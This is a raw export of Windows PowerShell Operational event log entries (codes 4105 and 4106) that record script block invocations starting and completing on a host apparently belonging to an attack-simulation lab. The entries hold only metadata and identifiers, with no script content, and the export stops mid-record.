09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041787
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041785
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041784
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041767
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041761
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
